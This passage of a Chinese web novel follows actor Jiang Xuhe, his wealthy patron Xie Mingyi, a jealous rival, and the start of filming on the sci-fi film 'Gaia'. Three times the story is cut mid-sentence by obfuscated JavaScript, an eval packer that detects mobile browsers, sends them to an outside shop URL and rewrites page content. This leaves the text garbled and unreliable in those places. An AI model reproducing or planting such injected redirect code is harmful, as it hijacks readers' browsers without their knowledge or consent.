他难得来疗养院,院长和医疗团队的负责人都等在门口,似乎有事要向他汇报。见状,谢明夷朝两人略微点头示意,便起身走了出去。 先前他俩说话的时候,江叙和一直在旁边忙忙碌碌,现在总算把带过来的那捧无尽夏插好了,洁白、浅粉和蓝紫色的花球簇拥在一起,造型虽然比不上疗养院每日更换的鲜花优美,但胜在热闹。 他走过来,俯下身轻轻抱了抱母亲:“妈妈,知道你不喜欢我们打扰,只是我过两天就要去外地拍戏啦,这是进组前最后一次来看你。” “去外地?”江棠很是意外,“要去多久?” “看拍摄进度吧,最短三个月,最长可能要半年。”伸手替她掖了掖腰下的毯子,江叙和让语气听起来尽可能的轻松,“大部分实景在陇州拍完,剩下的回来棚拍。 江棠怔怔地看着他,忽然就笑了出来,笑着笑着,眼角却流出了泪花:“好、好……是什么剧本啊?” “是一部科幻电影,小说翻拍的。”江叙和装作没看到她眼角的泪。 “科幻电影?”江棠的眼睛微微瞪大,像是想到了什么,“难道是《盖亚》要翻拍?” 江叙和抿嘴笑了笑,算是默认。 “好啊。”江棠把手伸过来,用力地握了一下他的,“你愿意出门去拍拍这些,就是最好的。” “我那么长时间不能来看你。”江叙和反握住母亲枯瘦的手,语气里是不容忽视的担心,“你要好好保重身体,按时吃饭,听医护人员的话,知道吗?” 江棠悄悄擦了擦眼角,故作生气地轻轻拍打了一下他的手背:“妈妈多大的人了?还用你说?” 说完这句,病房里安静了片刻。 江棠定定地看着床头那捧热烈的无尽夏新娘,忽然轻声说道:“水水,妈妈挺高兴的。” 她没有把话说完,但意思两个人都懂。 江叙和喉结滚动了一下,低低“嗯”了一声:“我以前……有些东西一直想不通,现在好像终于想通了一点。” “你想做什么,就去做。”江棠抬头看他,目光清亮,“不要总是顾忌我。” 江叙和没有回答,只是伸出手,动作轻柔地将母亲鬓边一缕微白的发丝别在耳后。 * 谢明夷出了病房后也没闲着,院长将他迎进一间办公室,早已有几个外籍专家等候在里面。 “我们相信,在克里症的研究上,即将迎来重大突破。”为首的专家语气谨慎,却难掩兴奋。 谢明夷快速翻阅着他们递上来的最新报告和实验数据,一行行专业术语和图表从他眼前掠过,他满意地点点头,合上报告:“资金不是问题,我会给你们增加预算,进度务必要再快一点。” 几人连忙点头应下。 院长又补充了另一个情况:“我们找到了一位符合二期实验条件的志愿者,但他的家属在补偿金额上面有些异议,不愿意让他来华国,可能需要再协调……” 谢明夷不耐摆手:“具体情况报给我的助理,她会解决这些问题。” 回程的车上,谢明夷提起克里症研究进展获得重大突破的事情。 “真的吗?”江叙和猛地转头看他,榛褐色眼眸里闪烁着毫不掩饰的兴奋。 看着他骤然鲜活起来的脸庞,谢明夷有瞬间的恍惚,他似乎已经很久很久没有见过江叙和露出这样全然不设防的神情了。 “嗯。”他定了定神,回答,“放心吧,一定很快就会好起来的。” “太好了……真的,太好了!”江叙和激动的有些语无伦次,好不容易稳定了情绪,无比郑重地向身边人道谢,“明夷,谢谢你!真的,非常感谢。” 他是如此的郑重其事,反倒让谢明夷莫名地感到心慌:“这都是我应该做的。” 江叙和摇了摇头:“不是的,没有人‘应该’为另一个人做这么多。” “如果没有你提供这些优渥的条件和顶级的医疗资源。我妈她……说不定早就……” “阿叙,”谢明夷打断他,握住他微凉的手,“你永远不用跟我说这些感谢的话。我们之间,不需要这些。” 江叙和任由他握着,声音低低的:“其实我早就应该说的,之前是我太不懂事,太心安理得的接受你的好。” 他的态度很诚恳,谢明夷却不想听,他猛地打断他,有一种自己也说不明白的急切:“你真的不用感谢我。” 他顿了顿,换了一种在陈述客观事实的口吻,补充道:“这些资源对我而言实在不算什么,更何况谢家每年都会赞助大量的医疗项目,就算没有阿姨的事情,我也可能会赞助克里症的研究,所以你实在不必为此感谢我。” 江叙和安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643304|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地听着,没有再争辩。 他只是转过头,将目光投向窗外飞速倒退的街景。 是啊,这些资源和投入,对于谢明夷来说,或许真的不算什么。 但是有钱人的“九牛一毛”,落到他的身上,便是重若千钧,是把他称斤论两卖了都还不起的恩情。 他唇角极轻地扯动了一下,勾起一抹自嘲的笑意。 身受他人如此重恩,放在古代,恐怕卖身为奴、结草衔环都是轻的,而他居然还曾希冀过恩人的专一与爱情…… 是不是有点过于不识好歹了。 毕竟绝对碾压的财富量级面前,讲求个人的情感与尊严,实在太像一个笑话。 * 手机在茶几上嗡嗡震动,屏幕上跳动着“陈哥”两个字,顾晨光瞥了一眼,任由它响了好几声,才不紧不慢地走过去接了起来。 “小顾啊,”电话那头的人早没了以前的颐指气使,“你宿舍里的那些东西,你看什么时候方便,找个人来搬一下?” 顾晨光盯着工人将一件限量版潮玩小心地摆放在定制柜上,漫不经心地回道:“我最近哪有时间啊,要不陈哥你替我处理了吧。不值钱的就扔了,值钱的就给大家分一分,也是留个念想。” 陈哥、也是他的前经纪人,明显噎了一下,几乎都要气笑了:“那我们可真是谢谢你了。” 他顺了顺气,也懒得再客套,透露了来电的真实用意:“晚点儿那个星耀TV的颁奖礼,希望你还是能参加一下,毕竟目前你单飞的消息还没官宣呢,多少也是Kaleido的一员。” 陈哥说这话的时候底气多少有些不足,虽然这个奖项是他们公司花了大力气运作来的,但如今顾晨光攀上了高枝,未必会把这种猪肉奖放在眼里。 果然,在听到“星耀TV”几个字的时候,顾晨光就不自觉地皱眉,刚想拒绝,新换的经纪人刘哥却在一旁给他打手势,用口型对他示意:去,一定要去。 顾晨光无法,只好答应了下来。 刘哥欢天喜地地挂了电话,顾晨光却是一脸不乐意:“我可真不想再看到那几张脸。” Kaleido说是男团,团魂是一点儿也没有的,抢C位争资源才是常态。顾晨光长得好又没背景,之前可没少受团里关系户成员的欺负。 刘哥看出来他的不爽,走过来安抚地拍拍他的肩膀,语重心长:“虽然你签华章几个月了,但在别人眼里你是刚改换门庭的,姿态要做足一点,别让人觉得你签了大公司就不顾念旧情,对你的公众形象可没有好处。知道了吗?” 顾晨光垂下眼睫,点了点头,模样十分乖巧:“我明白了,刘哥。” 刘金看着他这小模样儿,欣慰地点了点头。 他现在可谓是踌躇满志,一腔热血正是亟待挥洒的时候:“那个王博文自从跟了江老师,在公司里那叫一个要风得风、要雨得雨。我就不信,你就比不过他江叙和!” 他的目光落在顾晨光身上,青年似乎因为他的话感到害羞,微微低垂着头,露出一截洁白的颈项来,虽然比不上江叙和那造物主宠儿般的惊世美貌,却别有一番青涩纯粹的滋味。 毕竟,江老师他,不年轻了啊…… 刘金在心底轻轻“啧”了一声,转身去客厅里指挥工人们摆放家具,张口就是:“动作小心一点,这可是佳莱德上拍回来的古董,真货!卖了你们也赔不起!” 声音不大不小,但他身上小人得志的味道整个房间都闻得到。 15. 贪婪 顾晨光没理会那边的动静,起身走进了衣帽间。 里面用了无主灯的设计,灯光明亮而不刺眼,三面墙的衣柜和配饰柜被填得满满当当,全都是当季新款,吊牌都还未拆。 顾晨光一件件抚过那些剪裁恰当、做工精致的高奢成衣,神情有些恍惚,他记得,就算是他家里最风光的时候,他的母亲也未能拥有如此奢华的衣橱。 他随手拉开岛台的抽屉,里面整齐排列着各式墨镜,无一例外都是适合他脸型的款式,不可避免地心中一甜——谢先生那样高高在上的人物,竟然也有这样细腻的心思。 岛台中央是一个胡桃木做的表柜,他的目光掠过那些闪着金属光泽的名表,终究是没忍住,摘下手上正戴着的,放进转表器里,又取了一只最合眼缘的出来,小心翼翼地换上了。 外面还在忙碌,他索性坐在一旁的软椅上,从这个角度拍了几张衣帽间的照片,给匿名聊天软件上的网友发了过去,可惜对方迟迟没有回复,让他炫耀都没地方炫耀。 没办法,他只好百无聊赖地刷起了手机,手指无意识地在屏幕上滑动,被他小号设置为特别关注的江叙和的社媒账号却在这时候弹出一条消息来。 他盯着弹出来的消息,一时有些愣神,刘金不知何时凑了过来,他应该也刷到了同样的内容,笑眯眯的:“江老师居然要去外地拍电影了,真是、真是……” 他拍了拍顾晨光,意味深长:“这可真是个好机会,咱们得把握住,千万别浪费了。” 顾晨光胡乱地点了点头,目光却始终落在江叙和晒出来的剧本照片的背景上—— 那里有一个毫不起眼的花瓶,落在不懂行的人眼里,估计只会被当成是什么仿古的家装摆件。 但顾晨光不是不懂行的人,他甚至陪着大学同学参加过苏芙壁这一场的春拍,亲眼见证了这对宋代汝窑梅瓶以八位数美金的天价落锤。 当时他还感叹不知如此珍品花落谁家,没想到最后只是成为了江叙和书桌上一个随便的摆件…… 他的眼神逐渐狂热起来—— 这就是谢明夷能够提供的生活吗? 这就是江叙和一直以来过着的日子吗? 俊美多金的伴侣、慷慨到极致的供养、受人尊崇的地位、以及不费吹灰之力就能得到的顶级资源…… 这样的日子、这样的日子…… 他江叙和可以有,那他顾晨光凭什么不能有?! * 就在这时,手机铃声再次响起,他飞速接了起来,眉目清澈:“谢先生?……是的,我刚刚搬完家,一切都好,谢谢您的关心。” “没事没事,一点都不辛苦的。” “书房?啊……对,我刚刚去看过了,很喜欢!” 刘金一听到书房两个字,急忙连拖带拽地把他往书房方向推,顾晨光一进去就被那满墙密密麻麻、他连名字都读不明白的专业书籍给震住了,嘴里还在不停地道谢: “我真的很喜欢!谢谢您的安排,我一定会好好看的。” 好不容易挂断电话,他和经纪人大眼瞪小眼:“怎么回事?也没听说江叙和喜欢物理啊。” 怎么整这么一大屋子专业书?谢先生还特意打电话来问自己喜不喜欢? 经纪人刘哥也是一脸茫然,包小情儿的他见多了,给小情儿整一屋子物理书的还真是头一回见。 “算了。”顾晨光看着那些天书,捏了捏拳头,“谢先生一定有他的道理,我会好好看书的。” 他又猜测:“听说谢先生以前就是学物理的,估计是有点儿校园情结吧?” 刘哥恍然大悟般:“原来如此!那你可得好好努力,争取和谢总多些共同话题。你不也是学霸吗?这对你应该是小菜一碟吧。” 顾晨光没说话,顾晨光心里苦。 他当初能进斯大林学院,他家里是使了大力气的,进去后根本跟不上课程,勉强混了两年。后来家里出事,他索性休了学来娱乐圈闯荡。 刘金现在还没能完全取得他的信任,顾晨光当然不会告诉他自己过往的秘密。 算了,顾晨光咬了咬牙,我还是先开始看书吧。 * 江叙和跟王哥从公务机航站楼出来, Linda安排的地接人员已经在出口等候,四个铁塔般的壮汉黑压压的杵在那里,说是地接人员,看上去却更像专业保镖。 远远看到这架势,王哥啧舌:“听说那谁已经给你配了两辆房车,还嫌酒店条件不好,直接把整个酒店软装都升级了一遍,一分钱都没让剧组花。” 现在接机又是这个阵仗…… 王哥暗戳戳地观察他的脸色,试探道:“你说,会不会是咱们之前想错了?那谁这不是很在乎你吗?” 江叙和只是弯了弯眼睛,没有接话。 助理小秦这时候迎了上来,合着他一直都在,只是被四堵人墙挡住了身形。 他也知道自己不受待见,见了两人先是讪讪一笑,才指着身后的人墙介绍:“江老师,这是你在陇州的跟车司机。” 说完后他自己也觉得有些荒唐,找补道:“不是有两辆房车吗?他们两班倒,刚好够用。” 江叙和没有说什么,倒是王博文又啧啧了一番,也真不怕啧断了舌头。 小秦为他们拉开车门,自己却很识相地上了后车,不在两人面前碍眼。 车辆平稳的启动,窗外是西北特有的广袤天地,翠绿的草甸在风中起起伏伏,仿佛是想要抓住夏天的尾巴。 江叙和假装在欣赏美景,实则是想避开与王哥接下来的交谈,他真的不想再听到诸如谢明夷有多爱他、有多珍惜他、对他有多好之类的话题。 在过去七年的岁月里,他实在听腻了、听厌了、听倦了,已经到了别人一提起,就心生抗拒的地步。 对他好吗?当然。 但是像今天这种看似事无巨细的安排,其实不过是谢明夷一句话的事情,甚至不需要他开口,他身边的那些人精也会揣度着安排好一切。 或许在有些人看来,付出金钱的多寡就意味着感情的深浅,但江叙和很清楚,对于谢明夷那个阶层的人来说,能用钱解决的事情恰恰是最不值得一提的。 看着仍然在感叹他出行配置的王哥,江叙和不打算解释什么,也不知道该解释什么。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643305|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有些话若是说出口,就连他自己也觉得矫情。 为了进一步屏蔽王哥的碎碎念,他降下车内投影屏准备看电影,却不小心点进了视频软件的开屏广告——正是今晚星耀盛典的直播预热。 王博文还以为他是对直播感兴趣,凑过来点评道:“星耀tv也是好起来了,往年办的多寒酸啊,今年场地搞得这么高大上。” “哎,早知道我就让萧然也去露露脸了,不过听说星耀还请了顾啥啥那个组合,算了算了……” 镜头刚好切到直播主持间,一身精致礼服的女主持人口播了一段赞助商名录,鼎泰地产居然也赞助了这次盛典,出场顺序就在冠名商的后一位,想来是花了不少钱的。 王哥像只被掐住脖子的鸡,嘎巴一下安静了。 江叙和轻飘飘的按了返回键,点开自己想看的电影,安安静静地看了起来。 到了酒店,江叙和率先下车,王哥在后面轻轻打了一下嘴巴,骂这张不争气的玩意儿:“天啊,我都是什么破嘴啊啊啊啊!” 拍戏的地点是陇州某个十八线线小县城,整个县城里只有一家四星级酒店,被剧组包了下来。 江叙和分到了一个套房,里面的软装果然都改了,连房门都换成了实木的,室内更像是全部装修过,床和床垫都是他睡惯的款式。 江叙和苦笑,金钱是真的能解决很多麻烦,这么妥帖周到的安排,他要是敢不感恩,未免也太不识抬举。 * 稍作安顿后,江叙和便赶往片场。 裴屿见到他时明显愣了一下:“你已经瘦了这么多?” 江叙和摊手:“你不是要求瘦十五斤吗?现在还差两斤呢。” 裴屿失笑:“倒也不用这么严格,到了西北一脱水,效果立马就出来了。” 江叙和也笑:“那可不成,咱是练家子,可没有两斤的水给它脱。” 两人说笑了一阵,裴屿带他在片场转悠,这里的准备工作基本就绪,江叙和是特意提前来看景的,裴屿道:“其实明天开机再来看也来得及。” 但江叙和的目光已经完全被中央那个巨大的机械造物吸引,他欣喜地抚摸着冰冷的金属外壳,满脸的爱不释手:“你们居然真的把锻炉之灵做出来了……和我想象中几乎一模一样,道具老师也太厉害了。” 见他是真心喜爱,裴屿也与有荣焉,他一手抚上锻炉之灵巨大的机械外壳,一边介绍:“这是科尔曼先生和我们开了几个月的会,不断结合他的意见进行修改才做出来的。” “你们真的很用心。”江叙和仰头看着这个庞然大物,眼神晶亮,“这一定会是一部好电影,我确信。” “晚上剧组聚餐,主要演员都会到。”裴屿顿了顿,声音里带上了笑意,“科尔曼先生稍后也会来剧组视察。” 江叙和的眼睛顿时更亮了。 “江老师,”裴屿突然严肃起来,“我有个预感。” 江叙和:? “我预感,”俊美的男人歪头看他,压低了声音,“你一定能诠释好这个角色。” 两人相视一笑,在西北的落日下颇有些心照不宣的意味。 16. 拍摄 晚上的聚餐设在酒店最大的包间里,除了王哥因为接到前线战报,萧然似乎在陈导的剧组里闯出了滔天大祸,火烧屁股地跑走了,其他主要演员和他们的经纪人都在场。 作为剧组最大牌的演员,所有人对江叙和都十分友善。 但让人意外的是制片人赵启明对他的态度——岂止是客气,简直称得上是恭敬。 众人就坐,理应制片人率先举杯,但赵启明第一杯敬的不是导演,也不是全剧组,而是坐在裴屿左下手的江叙和。 他微微躬着身,端着酒杯,笑得真诚:”江老师能加盟这个项目,实在是我们的荣幸。” 见他这副形状,在座的众人都在暗暗交换眼神。 唯有江叙和暗自苦笑,他想起来了,他在周慕云的宴会上似乎与这位制片人有过一面之缘,或许可以解释他近乎谄媚的原因。 他站了起来,举杯回敬,他杯子里的是无糖可乐:“不敢当,能参与盖亚的翻拍,才是我这个原著迷的一生之幸。我还想替盖亚的书迷们敬赵总一杯,若是没有您的豪情和魄力,恐怕十年内我们也无法在大银幕上看到盖亚的电影。” 赵启明忙道不敢不敢,脸上的笑容却扩大了些,显然是很买账他的这番恭维。 江叙和坐下,裴屿偏过脸来,悄悄笑:“没想到江老师也是个场面人。” “难不成还真让他给架起来?”江叙和也觉得好笑。 不管怎样,场子算是慢慢热了起来,演员们也都起身离席互相敬酒,主打先混个脸熟。 女主演林薇端着酒过来,笑意盈盈:“江老师,以后还请您多多指教。” 林薇是个实力派演员,容貌不算出挑,因为盖亚觉醒之时女主演的戏份不多,一线女星都不愿意接,林薇不挑戏,裴屿就选了她。 女二号沈梦瑶的戏份,主要在棚内,还没到她进组的时间,此时也就缺席了聚会。 女三号何璐和男二号陈铮都是裴屿的御用演员,跟导演团队很是熟稔,这时候他们俩就围着新进组的几个演员灌酒,美其名曰“培养培养默契”。 至于男三号张梓宸似乎是某个偶像男团出身,江叙和记不太真切,只知道他应该是资方塞进来的,跟制片人关系匪浅的样子,估计他就是裴屿之前提到的为了资本所做的妥协之一吧。 及至席散,江叙和始终滴酒未沾,这时候变成了极好的人形拐杖,稳稳支撑着喝大了的裴导,跟众人告别:“没事,我助理就守在电梯口,不怕搬不动他。” 他的房间跟裴屿是同一层,这时候少不得要负责一些邻居的搬运工作。 * 张梓宸刻意留到最后一个才进电梯,却没有按下自己所在的楼层,而是径直去了顶楼。 他到的时候,制片人已经换上了浴袍,懒懒散散的倒在沙发上,拿着一根雪茄放在鼻子下面嗅得一脸痴迷。 张梓宸上前接了过来,小心的剪掉雪茄头,再递到他的嘴里,掏出火机为他点燃。 赵启明深深地吸了一大口,慢慢的吐出来,整个人才算是真正放松了下来。 他是个老烟枪,在酒局上烟瘾就犯了,偏偏江叙和不抽烟,他就硬生生忍到了现在。 见他这个德性,张梓宸酸不溜丢的:“怎么?当着影帝的面,连高希姆也不好意思抽了?” 赵启明倒是乐呵,还有心情告诉他:“你记住了,千万别得罪江叙和,不然到时候别怪我兜不住你。” 听出他的弦外之意,张梓宸惊讶的捂住嘴:“什么意思?江老师居然也……天啊,我还以为他是真淡泊名利呢。” “一年一部戏,不商演不接通告,走哪儿都有人捧着。”赵启明嗤笑,朝小情人脸上喷了口烟雾,“你真当华章是做慈善的呢?” 张梓宸嫌恶地皱了皱鼻子,却不敢真的挥手驱散面前的二手烟,他还想再打听更多的秘辛,赵启明的手已经不安分的摸上了他的腰。 年轻的演员身体微僵,却还是挂上了讨好的笑容,放柔了身段,任由年纪可以做他父亲的男人施为。 * 《盖亚》原著涵盖了智械危机、星际殖民和宇宙探索,是一部长达三百万字,深入探讨人性和发展、科技与文明的科幻史诗。剧情丰富、出场人物众多、场景切换频繁……诸多要素集合在一起,导致其影视化难度极高。 为了压缩成本,裴屿团队与原著作者删繁就简,将其浓缩为三个彼此独立又互为关联的故事,并做了华国化改造。在考虑大市场口味的同时,又尽可能的保留了其艺术性。 总而言之,原著是个好原著,本子也是个好本子、但是从剧本变成电影后能不能被市场所接受,还得看演员的表现。 或许是感受到了肩上的重任,开机仪式上每个人都神情严肃,上香的动作一丝不苟。。 裴屿是个行动派,大合影过后,开机仪式用过的猪头刚收起,他就已经执着导筒张罗着要拍摄第一场戏了。 为了取个开门红,第一场戏一般不会安排什么困难的戏份,主要是给演员之间互相熟悉表演套路,培养一些默契。 A组这边拍的是江叙和饰演的首席科学家林启和林薇饰演的女军官赵影从智械暴动中死里逃生,在荒星上回望被人类所殖民的机械星球爆炸的场景。 说起来简单,但他还是和林薇在“荒星地表”踉踉跄跄地奔走了很多遍,才听到裴屿“这条过了”的声音。 又保了一条,江叙和才跟林薇一起凑到监视器前面听导演讲戏。 对于江叙和的表现,裴屿听语气还算满意,但也很直白的指出意见:“江老师,你太收着了,我们这是商业片,表演模式和文艺电影不同,镜头和观众的注意力不会总是集中在你的脸上,尤其是在有大面积特效的情况下,你的表演需要更加外放,观众才能更好地领会你要表达的意思。” 的确是很中肯的建议,刚才一直NG的时候江叙和其实已经隐隐感受到了这一点,他诚恳地表示:“接下来我会注意的。” 接下来裴屿又点出了一些林薇的不足,最后才用开玩笑的口吻说道:“现在还好,有很多实景和道具的辅助,等到了棚里面就是纯绿幕了,到时候就全靠二位的信念感和想象力了。哦,还有演技。” 江叙和心里确实有一点没底,他过往的作品大部分都是现实向的文艺片,对商业片的拍摄模式的确有点儿水土不服。 林薇倒是演过不少商业大片,闻言便笑着接话:“导儿,您放心,到时候我有些经验,可以和江老师多交流,互相找找感觉。” “那感情好。”裴屿点点头,“你俩磨合的不错,保持住这个状态。” 他们这里算是一切顺利,另一边的B组就没有这么好的运气了。 B组今天是陈铮和张梓宸搭戏,拍的是在机械残骸中挣扎求生,算是有一点儿动作戏。 陈铮是硬汉演技派,体能和动作基础扎实,问题不大。可张梓宸就惨了,几个简单的翻滚格挡的动作都做得软绵绵,连他自己的助理都没眼看。 B组的副导演碍着面子没说重话,但转场子过来的裴屿气得发飙:“张梓宸!开拍前你不总跟我说一直在健身房泡着,体能没问题吗?” 他从监视器后站起来,骂人的声音剧场每个角落都听得到:“你练的体能呢?!都炼到脸上去了?!” 张梓宸脸色一阵青一阵白,辩解道:“我真的练了的,但这个外骨骼太重了。” “装备重不是你动作像面条的理由!”裴屿根本不听,直接挥手打断,对一旁的武术指导吼道,“武指!给他加练!你今天下午什么都不用干了,就给我练这几个动作,练不好谁都别想收工。” 张梓宸咬着后槽牙,忍气吞声的被武指带到一旁加练去了,他的助理留在原地转着圈儿赔笑脸道歉。 裴屿余怒未消,对着B组的人横挑鼻子竖挑眼,江叙和远远看了一眼,果断选择远离了这是非之地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643306|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>女三号何璐本来也有场戏的,看这个架势今天是没指望了,遂也溜之,还自来熟地跟江叙和蛐蛐:“哇塞,第一天就闹成这个样子,看来以后有的是乐子看了。” 江叙和拧开水瓶喝了一口,没接这话茬,他一向不爱在背后议论同事。 倒是同样溜过来的男二陈铮,闻言嘿嘿一笑,带着点幸灾乐祸:“晚上导儿还说要请大家吃烤全羊庆祝开机呢,不知道张老师会不会去。” 笑死,张梓宸当然不会去。 不但没去,收工后所有人都不知道他去了哪里,连他的助理都不见了。 有人张罗着给他打电话,却被裴屿拦住了:“随他的便,接不住戏就是跑到南极也没用。” * 西北的天黑得迟,江叙和洗完澡出来,窗外的天色才泛起一层朦胧的灰蓝。他正拿着毛巾有一搭没一搭地,擦着半干的头发,放在床头柜的手机就响了。 是谢明夷来话邀请。 他动作微顿,还是按下了接通键。 屏幕那端的背景是谢明夷的办公室,他本人似乎刚结束了一场会议,穿着正式,头发一丝不乱,只有领带松了些许。 看到江叙和漉漉的头发和带着水汽的脸庞,他笑了笑:“是不是时间不凑巧?” “没有。”江叙和把手机放在支架,继续之前擦头发的动作,“蛮巧的,刚洗完澡你就打过来了。” “说明我们心有灵犀。”男人的嘴,骗人的鬼,骗人鬼在屏幕那边定定的看着他,“在那边还习惯吗?” “还好。”江叙和开始涂护肤品,往脸上哐哐怼爽肤水,“一会儿裴导请客吃烤全羊,等回来恐怕还得再洗一次。” 谢明夷皱眉:“你不是在严格控制饮食吗?” “没办法啊。”江叙和耸耸肩,有那么一咩咩无奈,“剧组第一次聚餐,我总不能太不合群。不过也就是参加一下,东西是肯定不吃的。” 谢明夷低笑一声,带着点儿纵容:“我们江老师真是自律。” 他话锋一转,像是忽然想起了什么,问道:“你还记得飞扬娱乐的赵总吗?上次在程家,周慕云引荐过的。” 江叙和动作一顿,抬眼看向屏幕:“当然记得,他就是我这部戏的制片人。” “哦?”谢明夷略显意外的挑眉,手下背调做得详细,他却没时间细看,“这倒巧了。” 他语气恢复如常:“飞扬娱乐那边最近通过Linda递了份融资计划书过来,看着倒蛮有诚意的,你要不要也看看?” 江叙和有些讶异:“你怎么突然对文娱产业感兴趣了?” 不是一直挺瞧不上的吗? “不是突然,”谢明夷姿态放松地向后靠进椅背,“只是家族办公室评估后,认为现阶段布局国产文娱行业正是好时候。” 他的目光落在江叙和身上,带着一丝不易察觉的引诱:“难道你就没有自己想拍的故事?或者喜欢的ip?看你这一回接戏这么开心,对本子应该也是有偏向的吧?” 听出了他的言外之意,江叙和垂下眼睫:“就算有,也不需要这样麻烦你……” “不麻烦,”谢明夷打断他,声音低沉下去,透过电流传来,是不容置疑的深情款款,“阿叙,你永远不用跟我说‘麻烦’这两个字。” 他的眼神似乎要穿透屏幕,江叙和心头莫名一悸,下意识的找了个借口:“……剧组的人在催了,我得赶紧出门。” 不等对方再说什么,他便挂断了通话。 房间里陡然安静下来,只剩下他有些过速的心跳,感受着一时半会儿平复不了的心跳,江叙和忽然有些恼火。 他拧开水龙头,掬起一捧冷水,狠狠泼在脸上。 冰凉的触感让他瞬间清醒过来,江叙和撑着洗手台,看着水珠顺着脸颊滑落,他对着镜中的自己低声咒骂: “搞什么啊……” 有没有搞错,他和谢明夷,到底谁才是影帝啊? 17. 担忧 接下来的日子倒是稀松平常,电影的拍摄大体还算顺利,唯一的问题仍是出在张梓宸身上。 这哥们儿远不止动作戏拉胯那么简单,还有许许多多乱七八糟表演上的小毛病,当与剧组里其他成熟演员对戏时,他的小毛病就被放大成了大硬伤,实在是格格不入、碍眼极了。 果不其然,今天他跟江叙和的一场对手戏又被骂了。 “卡!”裴屿把剧本卷成筒,把导演椅的扶手敲得砰砰作响,“张梓宸!这里演的是你被激光武器射穿护甲,命悬一线!你都快死了,你还耍什么帅啊?!你觉得这合理吗?!” “大哥,我拜托你稍微走点心,至少基本的感情逻辑要讲吧!” 张梓宸骂得下不来台,他也是有脾气的,这时候梗着脖子坐在一边:“我不觉得。” 就这么跟导演杠上了。 他的经纪人又不在,没人打圆场,片场的气氛就这么尴尬了起来。 等到裴屿终于平复了心情,喊着再来一条的时候,大家却发现刚刚还坐在那里打游戏的张老师居然消失了,只剩下他的助理点头哈腰的上来赔罪。 裴屿气得当场摔了对讲机,电池都蹦出来老高,差点溅到他自己脸上。他一个偏头躲过了自己发射的暗器,看着众人要笑又不敢笑的样子,很是无语。 被这么一打岔,他的火气倒是压下去不少,场地和资金都耽误不起,所以他干脆将后面的场次拿出来拍:“换场!先拍第七十八场!” 又拦住想回酒店找人的江叙和:“别管,他自己会想明白的。” * 裴导料事如神,第二天张梓宸果然憋着股气回来了。 一起回来的不只有他,还有他那据说是连夜飞过来的倒霉经纪人,两个人对着裴屿是好一通赔罪,经纪人陪着笑脸,把“年轻气盛不懂事”、“第一次拍大制作没经验”的车轱辘话翻来覆去讲了无数遍。 又过来给昨天对戏的江叙和道歉,江叙和只是温和地笑笑:“没关系,年轻人第一次拍戏,慢慢磨合就好。” 他这话一出,现场气氛反倒更怪了。 张梓宸的脸色更是难看,只是被经纪人按着,才没有说出什么不好听的话来。 裴屿倒是突然冷笑一声,目光锐利地从张梓宸的脸扫过:“能拍就拍,不能拍趁早说,我现在换人还来得及,别到时候互相耽误了。” 经纪人脸上的笑瞬间僵住,连连保证:“那肯定不能啊!裴导您放心!” 等江叙和走进化妆间,发现桌上多了套精致的化妆品。 助理小秦小声解释:“是张老师经纪人送来的,说是张老师代言的牌子,一大早上就送了呢,演员老师们人手一份。” 江叙和了然:“他经纪人还蛮操心的。” “您还说呢!”小秦难得有如此生动的表情,“刚才要不是裴导吸引了火力,那才叫尴尬呢。” 江叙和面露疑惑,怎么这里面听着还有他的事儿? 小秦就补充道:“张老师可不是第一次拍戏,人就是偶像剧出道的。” “不过您没看过也正常啦,都是些降智的霸总剧,他演深情男二,现在大家都好这一口。” 江叙和这才回过味来,有点尴尬:“我以为他是男团出身……” “这哪里能怪您?”小秦也是对人不对事,“现在的新人都一茬茬的,谁分得清?不过张老师资源蛮好的,说不定能长红哦。” * 而此时隔壁的化妆间里,经纪人也正对着张梓宸耳提面命:“祖宗!拜托你消停点儿好不好?” 他满脸都是恨铁不成钢:“这可不是你以前待的那些草台班子剧组!尤其是裴屿,是咱们整个公司都得罪不起的狠角儿!你还敢给他甩脸子?!” 见张梓宸还是一脸不服,经纪人换了副嘴脸,凉飕飕地:“讲真的,你不要以为自己豪门贵公子的人设是假的,别人就也是假的,人家裴屿可是货真价实的公子哥儿。” 看他似信非信,经纪人皮笑肉不笑:“之前不跟你说这些,是觉得你没必要知道。但现在赵总这么看重你,还亲自给你把关项目,你还是要懂事一些,不要辜负赵总对你的希望。” 张梓宸猛地抬头,神色惊疑不定。 “难道你觉得我真会相信你是靠试镜拿下裴屿剧组的角色的?”经纪人挨着他坐下来,拍拍他的手,那叫一个语重心长:“小宸,咱们这个圈子哪有什么绝对的秘密,有些事情大家看破不说破罢了。” 他看着身旁这个自己手上最有前途的艺人,眼神很是唏嘘—— 